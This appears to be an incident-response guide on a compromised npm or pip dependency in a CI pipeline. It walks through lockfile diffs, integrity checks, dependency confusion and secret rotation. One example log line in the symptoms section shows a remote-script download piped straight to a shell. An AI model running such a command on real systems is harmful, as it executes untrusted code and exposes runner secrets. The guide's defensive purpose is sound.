Investigate a compromised package dependency in your build pipeline

TL;DR — If a build suddenly starts pulling a new transitive package, running unexpected install scripts, or making outbound network calls during dependency install, treat the build environment as exposed. The fastest high-signal path is: identify the exact package/version from the lockfile, compare its tarball integrity and publish metadata against a known-good source, then revoke registry/CI secrets and rebuild from a clean runner with scripts disabled. Reading time: ~6 min

The scenario

It is 3:40 PM on a Tuesday. A routine dependency bump merged an hour ago, and now your CI job is hanging on npm ci long enough to hit the timeout, with a few weird curl and node child-process lines in the logs that nobody remembers seeing before. You diff the app code and there is nothing suspicious, but the lockfile changed in a transitive dependency chain and a teammate mentions the package was "just transferred to a new maintainer." You need to answer two questions fast: did the build pull a compromised package, and did it expose any secrets from the runner?

Symptoms

• Build logs show install-time script execution you did not expect:

> some-package@4.2.1 postinstall /workspace/node_modules/some-package
> node install.js

• CI runner makes outbound requests during dependency install:

curl: (6) Could not resolve host: paste.example
wget https://198.51.100.24/bootstrap.sh -O - | sh

• Lockfile changed without a direct dependency change:

+    "tiny-color": "1.9.7"

• Package manager integrity or checksum mismatch:

npm ERR! code EINTEGRITY
npm ERR! sha512-abc... integrity checksum failed when using sha512: wanted sha512-abc... but got sha512-def...

pip install --require-hashes -r requirements.txt
ERROR: THESE PACKAGES DO NOT MATCH THE HASHES FROM THE REQUIREMENTS FILE.

• New package version published very recently and only your fresh builds fail; cached builds pass.
• Secrets used in CI may have been readable by install scripts: registry tokens, cloud credentials, SSH deploy keys, .npmrc, .pypirc, environment variables.
• Endpoint protection or egress logs show connections from the runner to domains unrelated to your registries, source host, or artifact storage.

Likely causes

Step-by-step diagnosis

1. Freeze evidence before rerunning anything. Save the failing job log and the exact lockfile/artifact used by the failing build.

git rev-parse HEAD
cp package-lock.json /tmp/package-lock.json.$(date +%s) 2>/dev/null || true
cp yarn.lock /tmp/yarn.lock.$(date +%s) 2>/dev/null || true
cp pnpm-lock.yaml /tmp/pnpm-lock.yaml.$(date +%s) 2>/dev/null || true

If the log shows install-time scripts, outbound curl/wget/powershell, or child processes spawned from package install, this is likely your problem. Jump to Fixes → Malicious install script in a newly resolved dependency.

1. Diff dependency manifests and lockfiles against the last known-good commit.

git diff --stat HEAD~1..HEAD -- package.json package-lock.json yarn.lock pnpm-lock.yaml pyproject.toml poetry.lock requirements*.txt
git diff HEAD~1..HEAD -- package-lock.json yarn.lock pnpm-lock.yaml poetry.lock requirements*.txt

If you see a new transitive package, a widened version range, or a lockfile-only change with no reviewed reason, this is your problem. Jump to Fixes → Lockfile drift pulled an unreviewed version or new transitive dependency.

1. Resolve the package path and inspect scripts/metadata locally without executing them. For npm:

npm ls --all suspicious-package
npm view suspicious-package@1.2.3 dist.integrity dist.tarball time maintainers --json
npm pack suspicious-package@1.2.3 --silent
mkdir -p /tmp/pkg && tar -xzf suspicious-package-1.2.3.tgz -C /tmp/pkg
jq '.scripts' /tmp/pkg/package/package.json

For Python:

python -m pip download suspicious-package==1.2.3 -d /tmp/pkgs
python -m zipfile -l /tmp/pkgs/suspicious_package-1.2.3-py3-none-any.whl | head

If package.json contains preinstall, install, or postinstall you did not expect, or the tarball metadata changed very recently, jump to Fixes → Malicious install script or Fixes → Registry/package takeover.

1. Check whether the build is pulling from the wrong registry. For npm/pnpm/yarn classic:

npm config get registry
npm config list -l | grep -E 'registry|@.*:registry'
cat .npmrc 2>/dev/null

Typical bad sign: your internal scope is missing or defaulting to the public registry.

registry = "https://registry.npmjs.org/"
@yourco:registry = undefined

If your internal package name also exists publicly, jump to Fixes → Dependency confusion from public registry overriding internal package.

1. Check cache reuse versus fresh fetch.

⚠️ Purging caches can increase build time and may break reproducibility if your upstream registry has changed. Do this after preserving the current lockfile and logs.

find ~/.npm ~/.cache/pip ~/.pnpm-store -maxdepth 3 -type f 2>/dev/null | grep -E 'suspicious-package|index' | head -20

Then compare a fresh install with scripts disabled where possible.

npm ci --ignore-scripts --prefer-online
python -m pip install --no-cache-dir --require-hashes -r requirements.txt

If cached builds behave differently from fresh installs, jump to Fixes → Compromised CI cache/artifact reused across builds.

1. Assume secrets may have been exposed if install scripts ran on a privileged runner.

env | grep -E 'TOKEN|KEY|SECRET|AWS_|GCP_|AZURE_|NPM_|PIP_|SSH_' | sort

If the install step had access to deploy keys, cloud creds, registry publish tokens, or production .env values, jump to Fixes → Runner secrets exposed during install step immediately even if you are still confirming package compromise.

[Commit] ---- 1. lockfile change ----> [CI Runner]
   |                                   |
   | 2. fetch package                  | 3. install script runs
   v                                   v
[Registry] ---- 4. tarball/meta ----> [Build Workspace]
                                        |
                                        | 5. outbound exfil / token use
                                        v
                                   [External Host]

Fixes

Malicious install script in a newly resolved dependency

For npm-based builds, rebuild without lifecycle scripts to confirm impact scope:

rm -rf node_modules
npm ci --ignore-scripts

Then pin or override the bad package to a known-good version.

{
  "overrides": {
    "suspicious-package": "1.2.2"
  }
}

Recreate the lockfile and commit it:

npm install --package-lock-only
git add package.json package-lock.json
git commit -m "Pin suspicious-package to 1.2.2 via overrides"

If the package is not required, remove the top-level dependency that pulls it in:

npm why suspicious-package
npm uninstall direct-parent-package

Verify it worked:

npm ci --ignore-scripts && npm ls suspicious-package

Lockfile drift pulled an unreviewed version or new transitive dependency

Restore the last known-good lockfile and rebuild from that exact commit.

git checkout <good-commit> -- package-lock.json yarn.lock pnpm-lock.yaml poetry.lock requirements.txt

For npm, enforce lockfile use in CI:

npm ci

For Python, regenerate with hashes and install only matching artifacts:

pip-compile --generate-hashes -o requirements.txt pyproject.toml
python -m pip install --require-hashes -r requirements.txt

If the drift came from a loose semver range, tighten it:

{
  "dependencies": {
    "safe-lib": "3.4.1"
  }
}

Verify it worked:

git diff --exit-code -- package-lock.json yarn.lock pnpm-lock.yaml poetry.lock requirements.txt

Registry/package takeover or maintainer compromise

Compare package metadata with a known-good source and block the compromised version.

npm view suspicious-package@1.2.3 time maintainers dist.integrity dist.tarball --json
npm view suspicious-package@1.2.2 time maintainers dist.integrity dist.tarball --json

If the maintainer set changed unexpectedly or a malicious version was published, pin away from it and open an internal blocklist entry in your dependency policy. If you run a private proxy/cache, remove the bad version from the proxy and invalidate metadata according to that proxy's documented purge method. Rotate any token that could publish or read private packages.

# examples: revoke in your registry UI/API, then update CI secret values

Verify it worked:

npm view suspicious-package version && npm ci --ignore-scripts

Dependency confusion from public registry overriding internal package

Add explicit scoped registry config to the repo and CI.

# .npmrc
registry=https://registry.npmjs.org/
@yourco:registry=https://registry.your-company.example/
always-auth=true

If you use unscoped internal package names, rename them or reserve the public names immediately; unscoped internal names are a standing risk. In CI, print effective registry config before install:

npm config list -l | grep -E 'registry|@yourco:registry'
npm ci

Verify it worked:

npm view @yourco/internal-lib dist.tarball

The tarball URL should point at your internal registry, not the public one.

Compromised CI cache/artifact reused across builds

Purge package-manager caches on the runner image or in the job before reinstalling.

npm cache clean --force
rm -rf ~/.npm ~/.cache/pip ~/.pnpm-store node_modules

Then rebuild from a clean runner or ephemeral worker:

npm ci --ignore-scripts --prefer-online

For Python:

python -m pip cache purge
python -m pip install --no-cache-dir --require-hashes -r requirements.txt

Verify it worked:

npm cache verify

Runner secrets exposed during install step

⚠️ This can cause production impact. Rotating cloud keys, deploy keys, and registry tokens may break active deploys until CI and runtime secrets are updated. Revoke and replace every secret available to the install step: registry read/write tokens, cloud credentials, SSH keys, webhook secrets, .env values. Then reduce future exposure by moving secrets to later pipeline stages and disabling secret injection on untrusted branches/PRs. Immediate containment steps:

# remove local credential files from the workspace snapshot
rm -f ~/.npmrc ~/.pypirc ~/.aws/credentials
unset NPM_TOKEN AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY SSH_AUTH_SOCK

Then update CI variables with new values in your provider's dashboard and rerun on a fresh runner. Verify it worked:

env | grep -E 'TOKEN|KEY|SECRET|AWS_|NPM_|PIP_' || true

The install step should not see production-grade secrets.

Prevention

• Fail CI on lockfile drift.

git diff --exit-code -- package-lock.json yarn.lock pnpm-lock.yaml poetry.lock requirements.txt

Run this after dependency install in CI so any uncommitted lockfile mutation fails the build.

• Install with scripts disabled in the dependency-fetch stage. If your build truly needs lifecycle scripts, run them in a later isolated stage without deploy secrets.

npm ci --ignore-scripts

• Use hash-verified installs where supported.

python -m pip install --require-hashes -r requirements.txt

For npm, keep lockfiles committed and use npm ci, which enforces lockfile resolution.

• Pin internal registries explicitly by scope.

@yourco:registry=https://registry.your-company.example/
always-auth=true

Do not rely on a globally configured default registry on shared runners.

• Add egress monitoring for install steps. Alert when package install jobs connect anywhere except approved registries, source control, and artifact storage. On Linux runners, a simple starting point is to log DNS and outbound connections during the install job.

ss -tpn

• Use ephemeral runners for builds that handle secrets. Destroy the workspace after each job and do not persist package caches across trust boundaries like forks, PRs, and mainline deploy jobs.

This article was written by an AI system and published pending human review. Verify anything you intend to act on.